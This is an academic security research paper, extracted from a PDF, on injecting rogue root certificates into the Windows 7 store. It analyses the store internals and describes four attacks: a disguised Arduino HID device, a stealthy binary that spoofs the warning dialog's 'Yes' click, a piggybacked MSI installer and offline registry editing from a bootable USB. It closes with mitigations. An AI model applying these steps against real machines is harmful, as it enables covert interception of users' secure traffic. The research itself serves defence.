40
MSc System and Network Engineering Offensive Technologies Root certificate injection on Windows 7 Authors: Romke van Dijk [email protected] Mike Maarse [email protected] Supervisor: Jeroen van Beek [email protected] May 27, 2016

Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Embed Size (px)

Citation preview

Page 1: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

MSc System and Network Engineering

Offensive Technologies

Root certificate injection

on Windows 7

Authors:

Romke van [email protected]

Mike [email protected]

Supervisor:

Jeroen van [email protected]

May 27, 2016

Page 2: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Abstract

Root certificates are the trust anchor of today’s digital security ecosystem, andare used in a lot of applications. In an operating system, this trust originatesfrom an installed list of root certificates. This research analyses, and describesthe internals of the Windows 7 root certificate store. It also showcases fourpractical attacks to inject a root certificate into the store. Our first methoduses an HID emulator in similar fashion to BadUSB attacks. The second attackuses a malicious binary to install the root certificate while hiding the securitywarning dialog box. The third attack piggybacks the root certificate in an MSIinstaller. Our final attack uses a bootable USB to install a certificate fromoutside the victim’s operating system. All four attacks do not only apply toWindows 7, they have also been found to be effective on fully patched versionsof Windows 8 and Windows 10. Finally, this paper also discusses a number ofpossible countermeasures.

Page 3: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Contents

1 Introduction 11.1 Research questions . . . . . . . . . . . . . . . . . . . . . . . . . . 11.2 Report structure . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 Related work 2

3 Methodology 33.1 Root certificate store operation . . . . . . . . . . . . . . . . . . . 33.2 Generating root certificates . . . . . . . . . . . . . . . . . . . . . 33.3 Monitoring API calls . . . . . . . . . . . . . . . . . . . . . . . . . 33.4 Attack vectors . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

3.4.1 Emulating HID commands . . . . . . . . . . . . . . . . . 33.4.2 Injector binary . . . . . . . . . . . . . . . . . . . . . . . . 43.4.3 Installer piggyback . . . . . . . . . . . . . . . . . . . . . . 43.4.4 Offline registry modification . . . . . . . . . . . . . . . . . 4

4 Internals 54.1 Installing a root certificate . . . . . . . . . . . . . . . . . . . . . . 54.2 Root certificate stores . . . . . . . . . . . . . . . . . . . . . . . . 64.3 Protective measures . . . . . . . . . . . . . . . . . . . . . . . . . 7

4.3.1 System root certificate store . . . . . . . . . . . . . . . . . 84.3.2 User root certificate store . . . . . . . . . . . . . . . . . . 8

4.4 Certificate chain validation . . . . . . . . . . . . . . . . . . . . . 9

5 Attacks 105.1 Emulating HID commands . . . . . . . . . . . . . . . . . . . . . . 10

5.1.1 Root Certificate Injection Box . . . . . . . . . . . . . . . 115.2 Injector binary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125.3 Installer piggyback . . . . . . . . . . . . . . . . . . . . . . . . . . 145.4 Offline registry modification . . . . . . . . . . . . . . . . . . . . . 145.5 Windows 8 and Windows 10 . . . . . . . . . . . . . . . . . . . . . 15

6 Mitigation 166.1 Case specific solutions . . . . . . . . . . . . . . . . . . . . . . . . 16

6.1.1 Emulating HID commands . . . . . . . . . . . . . . . . . 166.1.2 Injector binary . . . . . . . . . . . . . . . . . . . . . . . . 166.1.3 Installer piggyback . . . . . . . . . . . . . . . . . . . . . . 166.1.4 Offline registry modification . . . . . . . . . . . . . . . . . 17

6.2 General purpose countermeasures . . . . . . . . . . . . . . . . . . 17

7 Conclusion 19

Page 4: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

8 Discussion 20

9 Future work 21

Appendices 24

A HID emulation sketch 25

B Injector binary source 27

C Installer recipe 30

D Offline injector code 32D.1 Certificate encoder source . . . . . . . . . . . . . . . . . . . . . . 32D.2 Registry editing script . . . . . . . . . . . . . . . . . . . . . . . . 36

Page 5: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

1. Introduction

Root certificates are an important component in today’s digital security ecosys-tem. Root certificates are used in a lot of applications, like on-line banking,or in verification of applications or drivers. Root certificates are used to verifythe chain of trust. For example, when a user connects to his/her on-line bankhe/she can verify that the connection is secure. In a different use case; when auser downloads software, he/she can verify that the software was created by, forexample, Microsoft. To facilitate the verification mechanism, many operatingsystems (either MacOS, Linux, Windows, iOS, Android) come with a list oftrusted root certificates.

In the past, Dell has distributed software that installed an extra root cer-tificate. By mistake however, the private key was distributed with the rootcertificate. Because of this all users who had installed the Dell FoundationServices were vulnerable to eavesdropping of communication [Cer15]. It tookmultiple months before this issue was detected, and resolved. The aforemen-tioned case highlights an important issue; users are mostly kept unaware ofwhich root certificates are installed on their devices. This in term introducespotential vulnerabilities. What if one would be able to inject a certificate intothe root certificate store?

If an adversary would be able to inject a root certificate, the victim could besusceptible to eavesdropping or hidden malicious software. Malicious softwareis checked for by virus scanners, and has to be active on the infected computer.Usually virus scanners do not verify root certificates, because there is no simpleway of distinguish a legitimate root certificate from its malicious counterpart.

1.1 Research questions

Our main research question is: ,,How can a root certificate be injected into theroot certificate store of Windows 7?”

To answer our main research questions, we investigated the internals of theWindows 7 certificate store and checked if there are any protection mechanismsin place. Subsequently we performed a number of attacks and researched miti-gations against detected vulnerabilities.

1.2 Report structure

This document will first discuss related work by our fellow researchers. Next, wedescribe our methodology in Chapter 3. In Chapter 4 we describe the internalsof the certificate store. Based on those findings several attack vectors have beenexplored, we describe these attacks in Chapter 5. How those attacks can bemitigated is described in Chapter 6. Finally this paper wraps up by means of aconclusion, discussion and suggestions for future work in respectfully, Chapter7, Chapter 8 and Chapter 9.

1

Page 6: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

2. Related work

The internal workings of the root certificate store are documented by Microsoft,but most of the documentation [Mic16a]; [Mic03]; [Mic16b]; [Mic16c]; [Mic16d]is targeted at developers. Hence, these documents do not describe the detailsof the certificate store internals but explain how to use certain API’s. We usethis to our advantage to create applications that communicate directly with thestore.

Alsaid and Mitchell (2005) revealed a method to silently install root cer-tificates in Windows 2000. In our research we base our injector binary onAlsaid and Mitchell’s source code. Although the paper describes the processof installing legitimate root certificates, it does not describe all details. Fur-thermore, our research improves upon [AM05] by combining insight into thecertificate store internals with a practical attack.

More recently Vouteva et al. (2015) described the possible attack of injectinga root certificate using BadUSB, but the research only theoretically describe theattack. In this research an implementation of this attack will be shown.

Another example of a possible way to inject a root certificate is throughmeans of piggybacking a certificate into a software installer. The Superfish [ESE15]malware is a good example of this method, which we will utilise to build ourown.

2

Page 7: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

3. Methodology

In this chapter we describe how we obtained our results presented in the nexttwo chapters. As such, we elaborate on our approach, resources and any tool-s/utilities we used.

3.1 Root certificate store operation

The first step in our research was to investigate the internals of the root certifi-cate store, please refer to Chapter 2 for references. Our efforts were focussed onthe means of interacting with the store and installing root certificates.

3.2 Generating root certificates

In order to experiment with installing a root certificate, we generated our ownexample. There are multiple utilities out there to quickly set-up a PKI and gen-erate a certificate. We utilised the XCA [Hoh] with the default Root Certificateprofile.

3.3 Monitoring API calls

After generating our root certificate, we installed it in the user and system stores(see section 4.1) using the Certificate Manager (certmgr.msc) tool. During theinstallation we used the ProcessMonitor and ProcessExplorer from the SysInter-nals suite [Mic] to analyse the process in more detail. Additionally we obtaineddetailed system API call information through API Monitor [Roh].

3.4 Attack vectors

The subsections below summarise the attack vectors we explored while con-ducting our research. Please note that in all cases our test environment (thevictim’s machine) consisted of a virtual machine running a fully patched1 Win-dows 7 installation. We created and ran our virtual machine using Oracle VMVirtualBox 5.0.

3.4.1 Emulating HID commands

To inject a root certificate through an emulated keyboard and mouse, we usedan Arduino Leonardo board. The software was created using the Arduino IDEversion 1.6.8. For emulating the USB devices we used a specific HID commandlibrary [Nic16]. We developed our payload using PowerShell version 2.

1All available critical and recommended updates available up to 17-05-2016 were installedusing Windows Update.

3

Page 8: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

This attack was developed on a fully patched Windows 7 laptop with twoup-to-date virus scanners installed; Panda Free Anti-Virus 2016 and McAfeeVirusScan Enterprise 8.8.

3.4.2 Injector binary

Initial experiments with running the C++ source code for silently installinga root certificate (as found in the Appendix of [AM05]) failed. An investiga-tion revealed that the source code heavily depends on the availability of theCAPICOM library. However, as per [Mag09] and [Mei09], CAPICOM has beensuperseded by the native CryptoAPI library, and several classes in the .NETframework. Consequently, we re-developed the source code in Visual C++ 2008Express Edition2 using CryptoAPI. However, we did retain the two part archi-tecture of the original code with the main thread installing the certificate anda separate thread handling the security warning. This attack will be describedin more detail in section 5.2.

We also used the the Spy++ utility to obtain detailed information on thesecurity warning dialog displayed when installing a root certificate to the usercertificate store. Additionally, Spy++ enabled us to analyse OS level messagesflowing through the target dialog which proved very useful in mounting ourattack.

3.4.3 Installer piggyback

Many application installers ask for elevated privileges when they are executed.This can be leveraged to silently install a system-wide root certificate on thevictim’s machine. On Windows machines installers mostly come in regular exe-cutable or MSI format. In our attack (see section 5.3) we developed a WindowsInstaller XML (WiX) script/recipe to produce an MSI package, which installsa root certificate alongside a legitimate binary. To develop our script we usedVisual Studio 2015 Community Edition in conjunction with extensions from theWIX toolset version 3.10.2.

3.4.4 Offline registry modification

To perform an attack from outside the operating system, we developed a smallC++ utility that converts a PEM or DER certificate and its properties into acertificate BLOB using CryptoAPI.

Using reged (which is part of chntpw package), registry hives can be mod-ified from outside the operating system in a Linux environment. The Linuxenvironment we used for this purpose was Arch Linux. Furthermore, we usedarchiso to create a bootable ISO image. This ISO can then be installed onto anUSB stick, which can be used to run the attack on the victim’s machine.

2Newer versions of Visual Studio require additional Visual C++ libraries to be present onthe victim’s machine when running the compiled binary.

4

Page 9: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

4. Internals

In this chapter we elaborate upon how and where the root certificates are stored,how they are protected and how Internet Explorer checks the validity of SSLcertificates. Before diving in the details, we will first provide a short descriptionof how certificates are installed.

4.1 Installing a root certificate

As described in [AM05], a root certificate can be installed through the CertificateManager console (certmgr.msc). Installing a certificate for a single user doesnot require elevated privileges. However, installing system-wide certificates doesrequire elevated privileges.

A root certificate can be installed by double-clicking the file, and using theCertificate Import Wizard. Alternatively, the wizard can be launched throughcertmgr.msc directly. If the certificate is installed for a single user a securitywarning dialog will appear as shown in Figure 4.1.

Figure 4.1: Security warning dialog

Before allowing interaction with the dialog, the dialog window will need toreceive focus from the user. This can be obtained by clicking on it. Note thatthis cannot be performed using the ALT + TAB key combination when otherwindows besides MMC are open.

5

Page 10: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

4.2 Root certificate stores

In general, Windows distinguishes three certificate stores, each providing storagefor a specific type:

• System certificates

• User certificates

• Service certificates

Our research focusses on the user and system certificate stores. User certifi-cates are only available to the user who installed them. System certificates areusable system-wide. Service certificates are similar to user certificates, in thatthey are only available for specific services. Installed certificates can be viewedin multiple ways, the most straightforward is through the Certificate Managerconsole.

Root certificates are essentially stored on disk, however, not as separatefiles inside a directory. Instead they are stored in encoded form in registryhives [Mic16e].

User certificate are stored in:

• HKEY CURRENT USER\Software\Microsoft\SystemCertificates

System certificates are stored in:

• HKEY LOCAL SYSTEM\Software\Microsoft\SystemCertificates

Note that for user certificates, the registry key is also called SystemCertifi-cates, but this registry key is in the HKEY CURRENT USER registry hive.Inside the SystemCertificates, the following registry keys are the most impor-tant:

• MY, used to store user certificates, and the corresponding private keys.

• ROOT, used to store the root certificates.

For more detailed information about the other certificate stores found insidethe SystemCertificates registry key see [Mic16e].

The ROOT registry key contains root certificates, each of them stored ina separate registry key. The name of the registry key is equal to the SHA1-fingerprint of the certificate. Inside this registry key, we find a binary valuecontaining a BLOB. This BLOB contains the certificate stored in Encoded Cer-tificate or Certificate BLOB format. In practice, this means is that the certifi-cate is stored in DER encoding with a prefix containing several properties.

In our experiments, when importing our generated root certificate in theuser root certificate store, the following registry key was created in theROOT\Certificates registry key.

• 8F51D205CBE36F6560583A1861F3DF56D2FEBE9F

Investigating the key’s contents revealed a value with the name ”Blob” oftype REG BINARY containing the certificate BLOB as data. Partial datacontained in the Blob value is displayed in Listing 4.1.

6

Page 11: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

1 hex :03 ,00 ,00 , 00 ,01 , 00 ,00 ,00 , 14 ,00 , 00 ,00 ,8 f , 5 1 , d2 , 0 5 , cb , e3 , 6 f, 65 , 60 , 58 ,\

2 3a , 18 , 61 , f3 , df , 5 6 , d2 , fe , be , 9 f, 19 , 00 , 00 ,00 ,01 ,00 , 00 , 00 ,10 ,00 ,00 , 00 , 72 ,1 d , a2 ,\

3 01 , ee , 2 e , 9 1 , a0 , a6 , c0 , e3 , 5 a , 9 9 , aa , f f , ab,14 , 00 ,00 , 00 ,01 ,00 , 00 ,00 ,14 , 00 ,00 , 00 ,\

4 98 ,9a , 5 2 , a5 , 7 e , d9 , 0 9 , bf , 5 5 , 80 , d3 , e8 , 74 , 54 , f0 , 6 f , 78 , 8 e , dc , 50 , 0 f, 00 , 00 , 00 , 01 ,\

5 00 ,00 ,00 ,14 ,00 ,00 ,00 , e8 , b5 , 1 e , 67 , 56 , 2 c , ec , 2 8 , d5 , 52 , 0 c , eb , d9 , 5 6 , d2, 43 , 67 , 18 ,\

6 cd , 1 e , 04 , 00 , 00 , 00 , 01 , 00 , 00 , 00 , 10 , 00 , 00 , 00 , be , a2 , ab , 6 a , 40 , 15 , 7 c , 2 b, 16 , 87 , f f ,\

7 c7 , 1 f , ac , 5 8 , c8 , 20 , 00 , 00 , 00 , 01 , 00 , 00 , 00 , ac , 03 , 00 , 00 , 30 , 82 , 03 , a8, 30 , 82 , 02 , 90 ,\

8

9 . . .

Listing 4.1: Value of the registry key containing a encoded root certificate

Using [Mic16f] it was possible to decode the binary data which comprises ofkey value pairs, for example the first property can be decoded as annotated inListing 4.2. While developing source code for our experiments we discovered thefull listing of property IDs in the CryptoAPI definition header file wincrypt.h.

1 03 ,00 ,00 ,00 , # Property id , 3 means −> SHA1 HASH2 01 ,00 ,00 ,00 , # Reserved f i e l d3 14 ,00 ,00 ,00 , # Length in by t e s ( hex ) , or in decimal 204 8 f , 5 1 , d2 , 0 5 , cb , e3 , 6 f , 65 , 60 , 58 , 3 a , 18 , 61 , f3 , df , 5 6 , d2 , fe , be , 9 f , #

the SHA1 hash o f the c e r t i f i c a t e

Listing 4.2: D

Besides the SHA1 hash of the certificate, the following properties were alsostored in the certificate BLOB:

• MD5 Hash of Public Key

• Signature hash, a 20-byte array containing the SHA-1 hash of the certifi-cates signature

• MD5 hash of the certificate

• The certificate itself, encoded in DER format

Besides those properties, the certificate itself (in DER format) is also storedwithin the certificate BLOB.

4.3 Protective measures

The user, and system root certificate store are protected differently. The fol-lowing sections will describe those protective measures.

7

Page 12: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

4.3.1 System root certificate store

The easiest to describe is the system root certificate store, basically anyone whois a local administrator on the system can write to registry file, and add newcertificates. The ACL on this registry key is set so that the security groupsSYSTEM and Administrators have full access to this key, while the securitygroup Users only has read access to the key. Consequently, if a local admin-istrator imports a root certificate in the system root certificate store using theCertificate Manager tool, no security warning dialog box is shown to the user,instead the console directly writes the certificate to the registry.

4.3.2 User root certificate store

The user root certificate store is protected in a different manner. When a rootcertificate is installed in the user root certificate store, a security warning dialogbox will be shown to the user. Subsequently, the user has to click ”Yes” to allowthe installation of the certificate.

Writing a certificate (BLOB) directly to the registry is possible, but the cer-tificate would not be trusted. Certificate trust in user space is only establishedwhen the SHA1 fingerprint of the certificate is written to the ProtectedRootsregistry key. This has also been observed by Alsaid and Mitchell[AM05].

In more detail, when a certificate is installed in the user root certificate storethe Certificate Management tool (as the MMC process) invokesCertAddCertificateContextToStore() in CryptoAPI, which is sent to theKeySVC service. The KeySVC service is a part of the CryptSVC service hostedby the NetworkService process. The NetworkService can be traced back to aninstance of svchost.exe running on the system. The NetworkService process runsusing the Network Service account, which is a member of the privileged securitygroup SYSTEM. It allows the svchost.exe process to write the certificate finger-print to the ProtectedRoots registry key. The KeySVC service is the applicationthat triggers the security warning dialog box. The NetworkService process runsusing the Network Service account, which is a member of the privileged securitygroup SYSTEM.

Figure 4.2: Installing a root certificate in the user root certificate store

8

Page 13: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

The ProtectedRoots registry key is created at the moment of the first in-teracting with the SystemCertificates registry key. For example, when usingthe Internet Explorer browser for the first time. The ACL on the key onlyallows privileged users that are part of the SYSTEM Security Group to writeto the key. Because, ProtectedRoots is inside the Current Users registry hivethe current user is owner of the ProtectedRoots registry key. However, a specialDiscretionary ACL (DACL) is set which prevents even the owner from chang-ing permissions on the key. This relates directly to the disabled ”Write DAC”permission found in the ACL set on the key.

4.4 Certificate chain validation

When Internet Explorer wants to verify the chain of, for example, https://os3.nlit runs the CertGetCertificateChain() API call. This call returns the full cer-tificate chain starting from an end certificate[Mic16b]. Note the end certificatedoes not have to be a (trusted) root certificate.

Subsequently, the CertVerifyCertificateChainPolicy() call is made tothe API, with parameters including the returned Certificate Chain context re-trieved using CertGetCertificateChain() and the validity policy. In the caseof a SSL protected website the policy will be set to CERT CHAIN POLICY SSL.The call CertVerifyCertificateChainPolicy() checks the certificate chain,verifies its validity and its compliance with the specified policy[Mic16c]. Thisensures that if the certificate is in one of the certificate stores, the chain maybe deemed valid (an end certificate can be found), but not trusted (no rootcertificate was found). This rules out the possibility to install a root certificatein a different certificate store, and make the system trust this certificate as atrust anchor.

9

Page 14: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

5. Attacks

After researching the internals of the root certificate store, we found attackmethods of injecting root certificate. In this chapter those methods will bedescribed.

5.1 Emulating HID commands

The first attack we explored was keyboard based injection, this attack has pre-viously been described by Vouteva et al.[VVR15]. A BadUSB device like a USBRubber Ducky1 could be used to emulate a key press sequence that installs aroot certificate. However, as described in section 4.1 only a keyboard sequenceis not enough to bypass the security warning dialog as we need a reliable methodto set focus on the dialog window. This can be solved by also emulating a mousedevice and clicking the dialog window.

Most USB Rubber Ducky variants do not provide mouse emulation, to solvethis issue, an Arduino Leonardo was used together with the HID library[Nic16].For our purpose, the standard Arduino Keyboard and Mouse library provedinadequate due to mouse movement accuracy issues. For example, when tryingto move the mouse 50 units downwards, there appeared to be a deviation ofroughly 30% [Dav13]. Using the HID library resolved this issue.

Another challenge was to accurately position the mouse pointer on the di-alog box, as the library functions can only control the pointer with relativepositioning. The HID library contained an absolute mouse HID device, but thisrequires a non-default driver. Consequently, because this driver might not beavailable on the victim’s machine, the absolute mouse HID device was not anoption. This issue was solved by first guiding the mouse pointer to the left topcorner using relative mouse movement.

The full HID emulation attack comprises the following steps;

1. Victim connects Arduino

2. Arduino emulates keyboard and mouse

3. Start Powershell command line and export root certificate file to targetsystem using keystrokes

4. Powershell installs the root certificate

5. Move mouse pointer to the top left corner

6. Move the mouse down and right in small steps with a 16:9 ratio, afterevery step it performs a left mouse button click and ”Y” key press

1A USB Rubber Ducky is an USB device that looks like a USB thumb drive, but actuallybehaves as keyboard. When an unknowing victim plugs in the USB Rubber Ducky, a pre-programmed key press sequence can be emulated. See http://usbrubberducky.com/ for moreinformation

10

Page 15: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Experiments on our Windows 7 VM revealed the entire attack takes roughly10 seconds to complete the installation of the root certificate. The full Arduinosketch can be found in Appendix A.

5.1.1 Root Certificate Injection Box

The problem with the HID emulation attack is that a victim might not trustthe Arduino hardware in it’s standard form. To make this attack more practicalone would have to disguise the Arduino as an ordinary USB device. Therefore,to conceal our Arduino we used a USB hard drive case (see Figure 5.1). Allthe internals, including the 3.5” hard disk, were removed and replaced by theaforementioned Arduino Leonardo an 32GB USB thumb drive and finally a 5port USB hub.

Figure 5.1: Inconspicuous looking USB device

Furthermore, we modified the Arduino source code was changed to waitfor 30 seconds before initiating the attack. Once a victim connects the USBhard disk, it will first appear as 32GB disk and after 30 seconds the attack willcommence. Figure 5.2 shows the internals of the root certificate injection box.

Figure 5.2: Root certificate injection box hardware

11

Page 16: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

5.2 Injector binary

Another method of injecting root certificates is to develop source code whichinteracts directly with the CryptoAPI library to install the certificate whileavoiding to alert the user. In this attack we once again leverage the fact thatonly a security warning (see Figure 4.1) ”protects” the user when installing acertificate.

Our method is based on the work of Alsaid and Mitchell, however, as ex-plained in section 3.4.2 we re-developed the C++ source code presented in thiswork in order to experiment on Windows 7.

We can summarise the process of silently installing a certificate with userlevel privileges as follows:

1. Load certificate data

2. Create monitoring thread

3. Install certificate

4. Intercept security dialog

5. Spoof ”Yes” button notification

Based on this process description, we can define the execution of the pro-gramme. The paragraphs below elaborate each step.

Step 1 The main thread of the process loads certificate data into a certificatecontext. We avoid having to distribute a certificate file by simply hard coding thePEM string into the source code. Please note that the function used to createthe context only accepts certificates stored in binary/DER format. Hence, thePEM string will need to be converted prior to creating the context.

Step 2 With the certificate context loaded into memory we open the usercertificate store, and start a thread to monitor the appearance of the securitywarning dialog.

Step 3 At this point we invoke the CertAddCertificateContextToStore()

function to install the certificate. This directly triggers the security warningdialog.

Step 4 Within the monitoring thread, we retrieve the window handle of thesecurity warning dialog as fast as possible. We simplified the method used byAlsaid and Mitchell by relying on the FindWindow() function, and not using aseparate callback.

Step 5 The final step is to make the security warning dialog believe the userclicked the ”Yes” button. Using a slightly different approach than Alsaid andMitchell, we spoof the notification message generated by clicking the ”Yes”button, and send it directly to the dialog. We obtained the correct parametersby first inspecting the message flow of the warning dialog window using Spy++.

12

Page 17: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Subsequently, we spoof the notification message the ”Yes” button sends to theparent dialog when it is clicked.

Using the sequence diagram shown in Figure 5.3, we can visualise the thread-ing model. Function names have been shortened for brevity.

Figure 5.3: Certificate injector binary sequence diagram

To perform our experiments we compiled the source code into a stand-aloneWin32 binary. Please refer to Appendix B for the full source code (except thecertificate data).

To remain as stealthy as possible we created a windowless application, this interm also reduces the overall execution time. Measurements taken from withinthe main thread revealed fast execution times between 531 and 340 millisec-onds2. With these execution times it is nearly impossible for the user to witnessthe Window appearing, which makes it a lot less apparent when comparing itto the emulated HID attack.

After successfully injecting our root certificate on the Windows 7 VM, wedecided to repeat the experiment on Windows 8.1 and Windows 10 VMs withexactly the same injector binary. Much to our surprise the attack worked inboth cases. In practice this means that all machines running Windows 7 andup are essentially vulnerable to silent root certificate injection from inside theoperating system with user level privileges.

We uploaded our binary to VirusTotal to see if virusscanners would recognisethe behaviour as malicous based on existing heuristics. The online analysishowever, resulted in 0 hits3.

2Multiple measurements taken on a host system equipped with a 3,5GHz quad-core CPUusing the binary produced by the Release build configuration of the compiler. On a physicaldesktop machine running Windows 10 we achieved our best execution times; between 34 and22 milliseconds.

3Online analysis performed 18-05-2016 with a 0 out of 56 score.

13

Page 18: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

5.3 Installer piggyback

To simplify installation of new software on systems, software developers gen-erally use install scripts. Moreover, the software and install scripts can becombined into a package facilitating deployment. On the Windows platform,packages are referred to as; installers. In our experiments we focussed on in-stallers in MSI format that utilise the Windows Installer framework [Wika].

When the installer is executed, the contents of the package are extracted,and the system is modified as per the instructions of the script. The type ofinstruction will determine if user level or elevated privileges are required forexecution [Kad+14]. In the latter case, a UAC message will request the user’spermission to run the script with elevated privileges.

Our attack exploits the potential unawareness of the user what actually hap-pens after he/she grants elevated privileges. Should the user positively confirmthe request, we can install a root certificate to the system certificate store.

As outlined in 3.4.3, we implemented the attack by building an MSI packageusing the Windows installer XML (WiX) toolset. Using XML we define therecipe, which the WiX parser will use to build the MSI file.

The functionality to install certificates is part of the IIS extension of the WiXtoolset. Hence we added the necessary references to the XML, and build configu-ration. Next, we defined two Components in our installer recipe; (1) a legitimatesoftware binary and (2) the root certificate. By setting the Permanent="yes"

attribute on the certificate Component we can ensure that the file will not beremoved when uninstalling the MSI.

To hide our true intentions we define a realistic installation location in whichwe follow the C:\Program Files\DeveloperName scheme. This in term createsthe need for elevated privileges [Wikb]. In addition we provide believable pack-age details such as developer and version information. Please see Appendix Cfor the entire installer recipe XML.

After building the MSI, we ran the installer on our test environment. Asexpected, before executing the script, the UAC prompt for elevated privilegesappeared. Accepting the request resulted in a successful installation of our rootcertificate into the system certificate store. During the installation process therewas no indication that the user was installing a certificate.

5.4 Offline registry modification

Previous sections within this chapter all describe attacks which need to be exe-cuted from inside the operating system. We found that, by performing an attackfrom outside the operating system, it is possible to inject a root certificate eitherin the system or user certificate stores.

First we recreate the root certificate’s BLOB. We developed a C++ binarywhich uses CryptoAPI to iterate through the certificate property values andfinally the DER certificate to reconstruct the BLOB’s hex string (the sourcecode can be found in Appendix D.1). Instead of the automated approach, wecan also first import the root certificate and then export it from the registry.

The next step is to add the certificate BLOB’s hex string to a script whichruns the reged utility in a Linux environment and writes it to the LOCAL MACHINEregistry hive. The full source code of this script can be found in Appendix D.2.

14

Page 19: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Subsequently, we created a bootable USB thumb drive which runs the script.The attack consists of the following steps, which are visualised in Figure 5.4:

1. A PEM/DER encoded certificate is loaded into the CertCoder binary

2. The CertCoder binary interfaces with the CryptoAPI to retrieve the nec-essary data

3. The CertCoder binary outputs a certificate BLOB as a hex string

4. Hex string is copied to the build recipe of the bootable USB

5. Bootable USB image is generated and loaded onto USB media

6. USB is placed in the victims machine, Linux environment is booted, whichinjects the root certificate into the victim’s registry.

Figure 5.4: Attack scenario for boot able USB stick

Investigating the Windows 7 system certificate store afterwards using theCertificate Manager tool revealed the certificate was installed successfully. How-ever, the system does not warn the user in any way that a new certificate hasbeen added. Moreover, it now trusts the new certificate.

5.5 Windows 8 and Windows 10

Although this researched focussed on Windows 7, our attacks have also beentested on VMs running fully patched installations of Windows 8(.1) and Win-dows 10. We successfully performed all of our attacks, without any modificationbeing necessary.

15

Page 20: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

6. Mitigation

This chapter will describe mitigations against the found attacks. Besides thecase specific mitigations, we also propose generic mitigations.

6.1 Case specific solutions

In the following subsections we briefly discuss several protective measures againstthe attacks described in the previous chapter.

6.1.1 Emulating HID commands

To protect against keyboard injection attack is quite complicated to do, be-cause hardware and software alike are built to trust keyboards by design. Cren-shaw(2011) [Cre11] describes some methods against these type of attacks basedon disallowing the installation of new keyboards after the first installation. Doesand Vries(2016) describe possible mitigation techniques based on Group Poli-cies.

6.1.2 Injector binary

Although Alsaid and Mitchell identify several countermeasures, we would like tospecify further preventative approaches. First, we focus on the window grabbingmechanic of the binary. This behaviour can be counteracted by further enforcinguser space and kernel space separation between processes. It should not bepossible for a user space process to interact with GUI elements of a kernel spaceprocess.

A second countermeasure would be to verify the user’s reaction time onacknowledging the security warning dialog. Our reasoning is that no humanbeing would be able to read and click the ”Yes” button in the measured timeframes.

6.1.3 Installer piggyback

The success of installer piggybacking depends on the unawareness of the victim.Therefore, a possible preventative measure would be to inspect and/or evaluateinstaller actions prior to execution i.e. using a sandbox. From within thesandbox the MSI can be run with verbose logging in the fashion shown in Listing6.1. Based on the information found in the logfile, the user could then evaluateif the installation matches his/her expectations.

1 >msiexec / i ”C:\ PuttySetup . msi” /L∗V ”C:\ PuttySetup . l og ”

Listing 6.1: Logging installer execution

16

Page 21: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Additionally, the MSI file can be opened by several applications [Wika]. Thismeans the user can review the package contents prior to execution. For example,investigating the MSI using Microsoft’s Orca [Mic16g] utility allows reviewingthe entire installation sequence. Figure 6.1 clearly shows the intent to install acertificate.

Figure 6.1: Reviewing the installer sequence

6.1.4 Offline registry modification

To protect against offline registry modification full disk encryption should beused. This prevents the Linux environment from modifying content in the vic-tims Operating System.

6.2 General purpose countermeasures

In an Enterprise Windows Domain, end user desktops can be protected againstthe attacks described using Group Policies. To mitigate the threat on the usercertificate store a Group Policies could be enforced which disallows users frominstalling a root certificate. Furthermore, similarly disallowing users to installsoftware can protect against piggybacking attacks.

All the previously mentioned mitigations do not solve the real issue; theWindows 7 operating should raise awareness of users about which root certifi-cates are trusted by their system. If an attacker finds a way to install a rootcertificate, users will not be informed of this. Alsaid and Mitchell address thesame issue, and propose to the following mitigation:

• Re-authenticate when performing security sensitive tasks. This preventsadding of root certificates without user interaction.

17

Page 22: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

